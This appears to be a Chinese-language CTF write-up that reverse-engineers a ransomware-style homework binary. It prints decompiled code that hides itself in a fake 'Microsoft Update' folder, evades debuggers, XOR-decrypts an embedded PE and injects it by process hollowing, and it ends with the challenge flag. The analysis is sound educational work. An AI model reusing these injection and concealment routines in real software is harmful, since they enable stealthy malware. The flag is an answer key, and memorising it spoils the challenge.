---
# System prepended metadata

title: Simple Reverse 0x30(2023 HW - Baby Ransom 1)
tags: [Reverse, eductf, CTF]

---

# Simple Reverse 0x30(2023 HW - Baby Ransom 1)
## Background
[VirtualProtect 函式](https://learn.microsoft.com/zh-tw/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)
[記憶體保護常數](https://learn.microsoft.com/zh-tw/windows/win32/Memory/memory-protection-constants)
[InternetOpenUrlA 函式](https://learn.microsoft.com/zh-tw/windows/win32/api/wininet/nf-wininet-internetopenurla)
[SetFileAttributesW 函式](https://learn.microsoft.com/zh-tw/windows/win32/api/fileapi/nf-fileapi-setfileattributesw)
[Schtasks 工作排程 ](http://stenwang.blogspot.com/2015/09/schtasks.html)
[IsDebuggerPresent 函式](https://learn.microsoft.com/zh-tw/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent)
[FindResourceA 函式](https://learn.microsoft.com/zh-tw/windows/win32/api/winbase/nf-winbase-findresourcea)
[LoadResource 函式](https://learn.microsoft.com/zh-tw/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource)
## Source code
:::spoiler IDA Main Function
```cpp!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  StackBase = NtCurrentTeb()->NtTib.StackBase;
  while ( 1 )
  {
    DestInitValue = _InterlockedCompareExchange64(&qword_140017050, StackBase, 0i64);
    if ( !DestInitValue )
    {
      v5 = 0;
      goto LABEL_7;
    }
    if ( StackBase == DestInitValue )
      break;
    Sleep(1000u);
  }
  v5 = 1;
LABEL_7:
  if ( unk_140017058 == 1 )
  {
    amsg_exit(31i64);
  }
  else if ( unk_140017058 )
  {
    dword_140017008 = 1;
  }
  else
  {
    unk_140017058 = 1;
    initterm(&qword_140019018, qword_140019028);
  }
  if ( unk_140017058 == 1 )
  {
    initterm(&qword_140019000, &qword_140019010);
    unk_140017058 = 2;
  }
  if ( !v5 )
    _InterlockedExchange64(&qword_140017050, 0i64);
  if ( TlsCallback_0 )
    TlsCallback_0(0i64, 2);
  sub_14000226B();
  v6 = 0i64;
  qword_1400170E0 = SetUnhandledExceptionFilter(&loc_140002530);
  (InterlockedExchange64)(nullsub_1);
  InitFloatUnit();
  v7 = dword_140017028;
  space = malloc(8i64 * (dword_140017028 + 1));
  v9 = qword_140017020;
  space_cp = space;
  while ( v7 > v6 )
  {
    size = strlen(*(v9 + 8 * v6)) + 1;
    dest = malloc(size);
    *(space_cp + 8 * v6) = dest;
    src = *(v9 + 8 * v6++);
    qmemcpy(dest, src, size);
  }
  qword_140017020 = space_cp;
  if ( v7 < 0 )
    v7 = 0i64;
  *(space_cp + 8 * v7) = 0i64;
  sub_140001F1E();
  _initenv = qword_140017018;
  dword_140017010 = (NetworkConfig_1DBB)(dword_140017028, qword_140017020);// 0x140017020 => 0x254CA9C1580
  if ( !dword_14001700C )
    exit(dword_140017010);
  if ( !dword_140017008 )
    cexit();
  return dword_140017010;
}
```
:::
:::spoiler IDA NetworkConfig_1DBB
```cpp!
__int64 NetworkConfig_1DBB()
{
  void *hInternet; // [rsp+38h] [rbp-18h]

  sub_140001F1E();
  hInternet = InternetOpenA(0i64, 1u, 0i64, 0i64, 0);
  if ( InternetOpenUrlA(hInternet, (LPCSTR)szUrl, 0i64, 0, 0x84000000, 0i64) )// INTERNET_FLAG_RELOAD + INTERNET_FLAG_NO_CACHE_WRITE
                                                // => retrieve the orginal item
                                                // => don't write this item to the cache
    return 0i64;
  else
    return Reverse_URL_Part1();
}
```
:::
:::spoiler IDA Reverse_URL_Part1
```cpp=
__int64 Reverse_URL_Part1()
{
  PWSTR ppszPathOut; // [rsp+38h] [rbp-38h] BYREF
  int char_1; // [rsp+44h] [rbp-2Ch]
  PWSTR ppszPath; // [rsp+48h] [rbp-28h] BYREF
  LPWSTR lpFilename; // [rsp+50h] [rbp-20h]
  LPWSTR lpWideCharStr; // [rsp+58h] [rbp-18h]
  int cchWideChar; // [rsp+64h] [rbp-Ch]
  int j; // [rsp+68h] [rbp-8h]
  int i; // [rsp+6Ch] [rbp-4h]

  if ( SHGetKnownFolderPath((const KNOWNFOLDERID *const)&unk_14000AA80, KF_FLAG_DEFAULT, 0i64, &ppszPath) )
    return 0i64;
  for ( i = 7; i <= 22; i += 4 )
  {
    char_1 = *(_DWORD *)((char *)szUrl + i);
    for ( j = 0; j <= 3; ++j )
    {
      LOBYTE(char_1) = char_1 - 43;
      char_1 = __ROR4__(char_1, 8);
    }
    char_1 ^= 0x6F6F6F6Fu;
    *(_DWORD *)((char *)szUrl + i) = char_1;
  }
  HIBYTE(szUrl[2]) = 0;
  cchWideChar = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)szUrl + 7, -1, 0i64, 0);
  if ( !cchWideChar )
    return 0i64;
  lpWideCharStr = (LPWSTR)malloc(2i64 * cchWideChar);
  if ( !lpWideCharStr )
    return 0i64;
  MultiByteToWideChar(CP_UTF8, 0, (LPCCH)szUrl + 7, -1, lpWideCharStr, cchWideChar);
  if ( PathAllocCombine(ppszPath, lpWideCharStr, PATHCCH_NONE, &ppszPathOut) )
  {
    free(lpWideCharStr);
    return 0i64;
  }
  else
  {
    CreateDirectoryW(ppszPathOut, 0i64);
    SetFileAttributesW(ppszPathOut, 0x26u);     // FILE_ATTRIBUTE_ARCHIVE + FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN
    lpFilename = (LPWSTR)malloc(0x208ui64);
    GetModuleFileNameW(0i64, lpFilename, 0x104u);
    if ( PathAllocCombine(ppszPathOut, lpWideCharStr, 0, &ppszPathOut) )
    {
      free(lpWideCharStr);
      free(lpFilename);
      return 0i64;
    }
    else if ( MoveFileW(lpFilename, ppszPathOut) )
    {
      SetFileAttributesW(ppszPathOut, 0x26u);   // FILE_ATTRIBUTE_ARCHIVE + FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN
      free(lpWideCharStr);
      free(lpFilename);
      return Reverse_URL_Part2(ppszPathOut);
    }
    else
    {
      free(lpWideCharStr);
      free(lpFilename);
      ImportatntPart();
      return 0i64;
    }
  }
}
```
:::
:::spoiler IDA NextStagePayload
```cpp=
void __stdcall NextStagePayload()
{
  if ( !(unsigned int)off_140007088()           // isDebuggerPresent
    || !*(_QWORD *)(qword_140017030 + 8)
    || strcmp((const char *)(*(_QWORD *)(qword_140017030 + 8) + 9i64), "start!!") )
  {
    Reverse_URL_Part3_getEmbeddedPeFile_();
  }
}
```
:::
:::spoiler IDA Reverse_URL_Part3_getEmbeddedPeFile_
```cpp=
void __stdcall Reverse_URL_Part3_getEmbeddedPeFile_()
{
  __int64 v0; // [rsp+58h] [rbp-28h] BYREF
  __int64 Buffer; // [rsp+60h] [rbp-20h] BYREF
  int v2; // [rsp+6Ch] [rbp-14h]
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+70h] [rbp-10h] BYREF
  struct _STARTUPINFOA StartupInfo; // [rsp+90h] [rbp+10h] BYREF
  DWORD v5; // [rsp+104h] [rbp+84h] BYREF
  int *v6; // [rsp+108h] [rbp+88h] BYREF
  LPCONTEXT lpContext; // [rsp+110h] [rbp+90h]
  int j; // [rsp+118h] [rbp+98h]
  int i; // [rsp+11Ch] [rbp+9Ch]

  getEmbeddedPE_File((LPVOID *)&v6, &v5);
  memset(&StartupInfo, 0, sizeof(StartupInfo));
  StartupInfo.cb = 104;
  memset(&ProcessInformation, 0, sizeof(ProcessInformation));
  for ( i = 121; i <= 124; i += 4 )
  {
    v2 = *(_DWORD *)&szUrl[i];
    for ( j = 0; j <= 3; ++j )
    {
      LOBYTE(v2) = v2 - 80;
      v2 = __ROR4__(v2, 8);
    }
    v2 ^= 0x7E7E7E7Eu;
    *(_DWORD *)&szUrl[i] = v2;
  }
  szUrl[125] = 0;
  CreateProcessA(0i64, &szUrl[121], 0i64, 0i64, 0, 4u, 0i64, 0i64, &StartupInfo, &ProcessInformation);
  lpContext = (LPCONTEXT)VirtualAlloc(0i64, 0x4D0ui64, 0x1000u, 4u);
  lpContext->ContextFlags = 0x10000B;
  if ( GetThreadContext(ProcessInformation.hThread, lpContext) )
  {
    sub_1400013B4(v6, v5, ProcessInformation.hProcess, &Buffer, &v0);
    WriteProcessMemory(ProcessInformation.hProcess, (LPVOID)(lpContext->Rdx + 16), &Buffer, 8ui64, 0i64);
    lpContext->Rcx = v0 + Buffer;
    SetThreadContext(ProcessInformation.hThread, lpContext);
    ResumeThread(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hProcess);
    CloseHandle(ProcessInformation.hThread);
  }
}
```
:::
:::spoiler IDA getEmbeddedPE_File
```cpp=
HRSRC __fastcall getEmbeddedPE_File(LPVOID *pe_file, DWORD *ResourceSize)
{
  HRSRC result; // rax
  HRSRC hResInfo; // [rsp+30h] [rbp-10h]
  unsigned int i; // [rsp+3Ch] [rbp-4h]

  result = FindResourceA(0i64, (LPCSTR)'D', (LPCSTR)0x84);
  hResInfo = result;
  if ( result )
  {
    result = (HRSRC)LoadResource(0i64, result);
    if ( result )
    {
      *pe_file = LockResource(result);
      result = (HRSRC)*pe_file;
      if ( *pe_file )
      {
        *ResourceSize = SizeofResource(0i64, hResInfo);
        result = (HRSRC)*ResourceSize;          // 0x1ca00
        if ( (_DWORD)result )
        {
          for ( i = 0; ; i += 2 )
          {
            result = (HRSRC)*ResourceSize;
            if ( i >= (unsigned int)result )
              break;
            *(_WORD *)((char *)*pe_file + (int)i) ^= 0x8711u;
          }
        }
      }
    }
  }
  return result;
}
```
:::
:::spoiler IDA 
```cpp=

```
:::
## Recon
從source code上到下慢慢解析，這一題很難的地方在於很多東西都是runtime才決定的，包含embedded pe file，或者是一些function pointer，所以只能慢慢跟著動態去猜他的行為
1. main function中可以直接看到下面一點的地方，上面只是一些初始化，不用管他，真正在import embedded payload或是進行攻擊的地方在下面的NetworkConfig_1DBB
2. 說是network config其實和網路操作沒啥屁毛關係，只是前期分析的時候看到有InternetOpen相關的API就先這樣寫，再加上他給了一個https開頭的strings，但看了一圈其實只是scramble過後的payload再加上https，所以其實也和連線沒關係。簡單說一下這一段，詳細可以看一下前面MSDN的background，`InternetOpenUrlA`中帶的`0x84000000`，我看[csdn分析WannaCry的文章](https://blog.csdn.net/qq_43667823/article/details/129952684)表示，是INTERNET_FLAG_RELOAD + INTERNET_FLAG_NO_CACHE_WRITE的結果，也就是從server端拉資料下來，然後不會把結果存到cache中，但這一切我認為都是為了混淆reverse的人，因為`InternetOpenUrl`會對給予的`szUrl`進行連線，有成功的話才會進到if-statement，但他遠永不會成功，因為仔細看`szUrl`其實是`http://M17H+G+4FzeJ69F5.*f)vfquhvnv)*fwdhud)*vf)lpktud)*lj)4)*uk)',27h,'Lpfwjvjcu)Rpkejrv)Tyehu'`，所以直接分析下面的部分就好
3. 進到part 1的地方先看到一個for loop，那個就是在還原scramble url的部分，還原的結果是`Microsoft Update`，接著下面會把path combine在一起，並且創一個folder，並設定屬性為`FILE_ATTRIBUTE_ARCHIVE` + `FILE_ATTRIBUTE_SYSTEM` + `FILE_ATTRIBUTE_HIDDEN`，所以必須把file explorer的隱藏系統檔案的選項取消，才看得到
    ![圖片.png](https://hackmd.io/_uploads/rJUGKcO7T.png)
    接著下面的nested if statement有點迷，基本上第一次執行一定會直接進到最後的else，因為基本上`lpFilename`剛創好空間，本身應該沒東西，所以`MoveFile`當然不會成功，接著就進到最後的`ImportantPart`了
4. 持續跟進會先進到`NextStatePayload`，這一段有個小地方可以注意，也就是`(unsigned int)off_140007088()`，這是個function pointer，主要做的事情就是`isDebuggerPresent`，所以如果有使用x64dbg的話要記得開Scylla Hide的Anti Anti Debugger，這樣才會進到if statement去取得embedded pe file(雖然就算不設定，第二個判斷式也應該會是true才對)
    ![圖片.png](https://hackmd.io/_uploads/rJw_q5OXa.png)
5. 終於進到最關鍵的部分了，首先一開始遇到的function其實就是在還原embedded pe file，主要的操作是先取得resource$\to$`00007ff7f219b048`
    ![圖片.png](https://hackmd.io/_uploads/BJM9hq_Xp.png)
    再藉由`LoadResource`取得真正的resource$\to$`00007ff7f219b058`
    然後取得該resource的大小$\to$`0x1ca00`
    
    * 最重要的部分就是每兩個byte都進行XOR `0x8711`的動作，直到`0x1ca00`都做完，這一部分就是解密embedded pe file，解密完可以很明顯看到`MD`這個magic signature
        ![圖片.png](https://hackmd.io/_uploads/Bk0nGouQ6.png)
    * 因此只要利用Scylla把這一部分的memory dump出來再拿去md5 file取得hash就可以了
        ![圖片.png](https://hackmd.io/_uploads/S1CGXjum6.png)
        ![圖片.png](https://hackmd.io/_uploads/H1JEmjOXa.png)

Flag: `FLAG{e6b77096375bcff4c8bc765e599fbbc0}`